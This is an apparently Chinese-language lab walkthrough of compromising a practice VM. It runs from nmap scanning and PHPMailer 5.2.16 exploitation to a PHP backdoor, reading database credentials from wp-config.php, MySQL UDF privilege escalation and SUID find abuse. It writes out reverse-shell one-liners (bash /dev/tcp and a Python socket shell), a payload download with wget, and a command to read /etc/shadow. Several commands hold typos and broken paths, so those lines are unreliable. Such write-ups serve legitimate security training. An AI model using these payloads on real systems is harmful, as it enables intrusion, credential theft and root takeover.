afanna
- 关注

1.确定目标
nmap扫描IP地址, nmap -sP 192.168.80.0/24
-sP ping扫描,用ping方式检查网络上那些主机正在运行。
-PS 探测开放端口(SYN) 探测目标主机开放的端口,可指定一个以逗号分隔的端口列表(如-PS22,443,80)
确定靶机扫描出开放端口,nmap -p 192.268.80.136
发现开放了ssh http等可利用端口
两个端口利用 ssh 需要账号或者密码才能利用九头蛇进行爆破哦
http端口可以直接用 dirb进行枚举获得更多网页信息
2.信息搜集
在浏览网页后没有发现账号密码的信息,开始进行网页后台扫描
只浏览头部网页发现/vendor存在信息
浏览关键页面PATH得到flag1
发现网页使用了phpmailer服务
同时获得服务的版本信息5.2.16
在vendor获得的信息:
flag1
网页服务 phpmailer 5.2.16
结论:可以通过寻找服务漏洞攻击网页
3.寻找漏洞
浏览器搜索后发现 40974可以
用searchsoloit 40794进行搜索 cp到桌面
发现是一个.py文件
将exp考出,需要针对PHPMailer修改参数: 41行:改下地址:http://192.168.80.128/contact.php42行:后门名称:/yc.php 44行:改下回弹的IP和端口 192.128.80.128 8888 47行:改下写入shell的目录:/var/www/html/yc.php
python3 40794.py
该文件执行之后会生成一个yc.php页面,然后就可以得到回显
4.漏洞利用
在本机上设置监听8888端口 ,
nc -lvp 8888
随后访问http://192.168.850.136/contact.php,生成后门文件,然后访问/yc.php页面,获得反弹shell
python一句话获得回显
python -c 'import pty; pty.spawn("/bin/bash")'
随后利用查询命令寻找关于flag的文件
find / -name flag*
找到两个关于flag的信息
cat /var/www/flag2.txt ,获得flag2
进入flag3所在网址得到flag3
缺少flag4的信息
在信息搜集的时候要注意的信息关键词:user,pass,config,verson,admin,config
在网页目录中我找到的wordpress,用cd命令进入,ls查看目录
发现重要文件wp-config.php
使用read命令读取
获取到了mysql信息 user root; password R@v3nSecurity;
5.提权(数据库提权)
得到账号密码用
mysql -uroot -pR@v3nSecurity
命令登录数据库,查询mysql版本 select version();
查看数据库信息 , select databases;
使用wordpress表单
use wordpress;
show tables;
查看用户信息
select * from wp_users;
发现没有可利用信息
考虑数据库提权的连个办法 ,UDF,MSF提权,如果数据库不能远程登陆则不能使用MSF提权
查看数据库写入条件
show global variables like 'secure%';
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权 2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权 3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权! 如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
查看插件目录
show variables like '%plugin%';
查看是否可以远程登陆
use mysql;
select user,host from user;
发现root权限只能在本地登录,所以MSF提权不能使用
使用udf提权
searchsploit udf,找到漏洞文件cp到桌面
gcc编译
gcc -g -c 1518.c ---GCC编译.o文件 gcc -g -shared -o yc.so 1518.o -lc -g 生成调试信息 -c 编译(二进制) -shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。 -o:执行命令后的文件名 -lc:-l 库 c库名
最好是在自己的kali上进行编译,靶机上可能没有gcc
随后打开监听 python -m gttp.server 8888
靶机上面下载.so文件
wget http://192.168.80.128:8888/yc.so
数据库查看,插入数据
show databases;
use mysql
select databases();
创建一个数据表
create table yc(line blob);
插入数据文件
insert into yc values(load_file('/tmp/yc.so'));
新建一个函数
select * from yc into dumpfile '/usr/lib/mysql/plugin/yc.so';
查看创建的函数
select * from mysql.func;
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令: select do_system('chmod u+s /usr/bin/find');
用find命令
使用find执行shell
touch yc find yc -exec "/bin/sh" \; 或者:find yc -exec "id" \; cd /root cat flag4.txt
思路总结
先nmap扫描网络,确定靶机
使用 -p扫描靶机开放端口
发现开放80端口,登陆靶机页面进行信息搜集
有网页可以用dirb对网页后台扫描进一步获取信息
获取到网页服务信息,或者框架信息极其对应版本,就可以尝试exp漏洞进行攻击进一步获取shell
浏览关键页面 word admin wordpress等得到了靶机使用的有数据库
并且得到了数据库的用户和密码
登录数据库查看数据库版本,查看数据库信息看使用msf还是udf进行提权
看是否有写入权限
查看插件所在目录
查看数据库是否可以远程登录,如果不行,就不能用msf提权
确定使用提权方法,下载后门文件到桌面,进行gcc编译(最好在本机上进行编译,因为靶机上面可能没有编译环境)
本机打开http server服务,靶机用wget命令进行下载
在数据库中创建表
新建存储函数
创建自定义函数
调用函数给find命令所有者suid权限,使其可以执行root命令
执行find命令,提权成功
命令总结
nmap -sP
网页后台爆破dirb
searchsploit 漏洞查询
反弹shell获取伪终端 python -c 'import pty ;pty.spawn("/bin/bash")'
sql命令
find命令 find / -name flag*
mysql登陆命令 mysql -u用户名 -p密码
查看版本信息 select version();
查看当前数据库所有表 show databases;
显示表单 show tables;
查看当前数据库 select databaese();
查询所有数据 select * from 表名;
查询特定数据 select 列名 from 表名;
查看登录信息 select user,host from user;
显示全局变量看是否满足写入条件 show global variables like 'secure%'; securc安全
显示插件目录 show variables like '%plugin%'; plugin插件
创建数据表 create table 表名
表中加入数据 insert into 表名 values(字段列表);
insert into yc values(load_file('/tmp/yc.so'));
利用dumpfile函数导出,outfile多行导出,dumpfile一行导出,outfile会有特殊的转换,而dumpfile是原数据导出。
新建储存函数 select * from yc into dumpfile'/usr/lib/mysql/plugin/yc.so'
创建自定义函数do_system,类型是integer,别名(soname)文件名字
创建自定义函数 create function 自定义名称 returns integer soname '文件名字'
查看函数 select * from mysql.func;
调用函数给find命令所有者suid权限,使其可以执行root命令:
select do_system('chmod u+s /usr/bin/find')
find命令
列出当前目录以及子目录下的所有文件 find .
找到当前目录下名字为11.png的文件 find . -name "11.png"
找到当前目录下所有的jpg文件 find . -name "*.jpg"
找到当前目录下的jpg文件和png文件 find . -name "*.jpg" -o -name "*.png"
找出当前目录下不是以png结尾的文件 find . ! -name "*.png"
exec承上启下,找到yc在/bin/sh中;找yc 在id中
find yc -exec "/bin/sh" \;或者:find yc -exec "id" \;
exec命令
exec命令来自英文单词execute的缩写,其功能是用于调用并执行指定的命令,亦可将前一个命令的输出结果作为后一个命令的标准输入值进行二次处理,功能类似于管道符。
语法格式:exec [参数] 命令
touch命令
使用指令"touch"时,如果指定的文件不存在,则将创建一个新的空白文件
touch file;
find命令提权
方法一:
1.查看find命令位置
which find
2.查看find命令权限
ls -l /usr/bin/find #find默认位置
3.有s 表示可以提权
-rwsr-xr-x. 1 root root 199200 Nov 20 2015 /usr/bin/find
方法二:
# 用find 命令查找 有超级属性的文件
find / -perm -u=s -type f 2>/dev/null
假如find命令可提权 有s权限位
权限位 u+s
权限为 4xxx
# 查看是否可以用root 命令执行命令
find `which find` -exec whoami \;
# 命令解释: 以find 命令 执行 whoami 命令。
# find (一个路径或文件必须存在) -exec 执行命令 (结束)\;
可以直接执行命令
find /usr/bin/find -exec cat /etc/shadow \;
查看普通用户没有权限查看的文件。
反弹shell
nc 打开监听
执行反弹shell命令
# 用find 命令执行
find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.2.128/9919 0>&1 \;
# python 方式反弹
find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.128",9919));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \;
升级为交互shell!!!!!!
# 在反弹shell 上执行
[root@localhost ~]# python -c 'import pty; pty.spawn("/bin/bash")'
#使用python,升级交互shell
[root@localhost ~]# ^Z
# ctrl + z 按键 挂起正在运行的程序
root@kali64:~# stty raw -echo
# 输入这句后 在输入命令终端不在显示
root@kali64:~# fg
# 把后台挂起的程序,放到控制台----》 终端不显示命令,输入后回车
[root@localhost ~]# reset
udf提权
UDF:User Defined Function 用户自定义函数,MySQL数据库的初衷是用于方便用户进行自定义函数,方便查询一些复杂的数据,同时也有可能被攻击者利用,使用udf进行提权。
提权原理:攻击者通过编写调用cmd或者shell的共享库文件(window为.dll,linux为.so),并且导入到一个指定的文件夹目录下,创建一个指向共享库文件的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令。
执行过程:本质上还是利用了MySQL能够执行系统命令的特点。具体过程如下
(1)攻击者编写一些可以调用cmd或者shell的共享库文件(window为.dll,linux为.so),将共享库导入指定的函数目录中。
(2)在MySQL中创建指向共享库文件的自定义函数。
(3)通过刚刚创建的函数执行系统命令,实现提权。
提权条件
1.要有一个高权限的mysql账号,具备增删改查的权限用来自创自定义函数
查看以前登陆过的用户
select user();
查看数据库所有用户,判断是否可以远程登陆(如果可以也可以尝试msf提权)
select user,host from mysql.user;
2.MySQL的权限配置secure_file_priv为空,此时load_data,into outfile,load_flie()都没有目录的限制,可以使用如下命令查看secure_file_priv参数的值:
show variables like '%secure_file_priv%';
secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。secure_file_priv的值为null表示限制mysql不允许导入/导出,secure_file_priv的值为/tmp/ 表示限制mysql的导入/导出只能发生在/tmp/目录下。仅当secure_file_priv的值没有具体值时表示不对mysql 的导入/导出做限制。
3.必须有创建函数的目录,这个目录与MySQL的版本有关,对于MySQL>=5.1的版本,创建函数的目录是plugin,可以用如下的命令查看:
show variables like '%plugin%';
只有存在这个目录才能进行udf提权。
提权过程
使用searchsploit搜索
searchsploit mysql udf
把1518.c下载到桌面上
根据使用方法来进行编译
用法中首先使用gcc编译,编译的文件名为raptor_udf2.c,因此我们可以先将这个1518.c改名为raptor_udf2.c,方便后续操作,命令如下:
mv 1518.c raptor_udf2.c
对文件进行编译
gcc -g -c raptor_udf2.c ---GCC编译.o文件
-g:这个参数告诉编译器在目标文件中包含调试信息。这将使得在调试程序时可以获得更多的信息,例如变量的值和源代码的行号。
-c:这个参数告诉编译器只进行编译而不进行链接。它将源代码文件编译成一个目标文件,而不是生成可执行文件。这在构建大型程序时通常是一个常用的步骤。通常会生成.o文件
gcc -g -shared -o yc.so raptor_udf2.o -lc
-g
:这个选项告诉编译器在生成的共享库文件中包含调试信息。-shared
:这个选项指定编译器生成一个共享库文件,而不是可执行文件。共享库是一种可被多个程序共享和重用的代码库。-o raptor_udf2.so
:这个选项指定生成的共享库文件的输出文件名,这里是"raptor_udf2.so"。-lc
:这个选项告诉链接器使用C标准库(libc)。
然后我们登录靶机上的MySQL,需要有一个高权限的用户:
mysql -u账号 -p密码;
use mysql;
create table foo(line blob);
首先,use mysql;语句用于切换当前数据库为"mysql"。这意味着接下来的操作将在"mysql"数据库上执行。接下来的语句是CREATE TABLE foo(line blob);。表示在当前数据库中创建一个名为"foo"的表。该表只有一个列名为"line",并且该列的数据类型是BLOB(二进制大对象)。BLOB类型用于存储二进制数据,如图像、音频、视频等。
首先,use mysql;语句用于切换当前数据库为"mysql"。这意味着接下来的操作将在"mysql"数据库上执行。接下来的语句是CREATE TABLE foo(line blob);。表示在当前数据库中创建一个名为"foo"的表。该表只有一个列名为"line",并且该列的数据类型是BLOB(二进制大对象)。BLOB类型用于存储二进制数据,如图像、音频、视频等。
insert into foo values(load_file('/var/www/blob/images/raptor_udf2.so'));
该SQL语句将加载'/var/www/blog/images/raptor_udf2.so'文件的内容,并将其作为二进制数据插入到"foo"表的"line"列中。
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
该SQL语句用于导出"foo"表中所有行的数据,并将其以文本形式写入到'/usr/lib/mysql/plugin/raptor_udf2.so'文件中。特别注意,这里的写入路径是plugin目录的路径,在“提权前提”小节中已经提到,如果不知道plugin目录的路径,可以用show variables like '%plugin%';进行查看。
create function do_system returns integer sonme 'eapyor_udf2.so';
这个SQL语句用于在MySQL中创建一个名为"do_system"的函数,该函数返回一个整数值。该函数的实现由外部库"raptor_udf2.so"提供,而raptor_udf2.so就是我们的写入的payload。使用命令select * from mysql.func; 查看我们是否成功创建了函数。
此时我们应该可以使用do_system函数执行任意系统命令了。那么我们可以do_system函数进行提权。命令如下:
select do_system('cp /bin/bash' /tem/rootbash; chmod +xs /tmp/rootbash);
do_system中的这条Linux命令是将/bin/bash(Bash shell可执行文件)复制到/tmp目录下,并将复制后的文件命名为rootbash。接着,使用chmod命令给/tmp/rootbash设置权限,使用+xs参数将其设为可执行文件,并将其所有者的权限设置为具有特殊权限。接下来我们只要在www-data的shell中执行rootbash即可,先退出MySQL,然后运行rootbash:
/tmp/rootbash -p
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)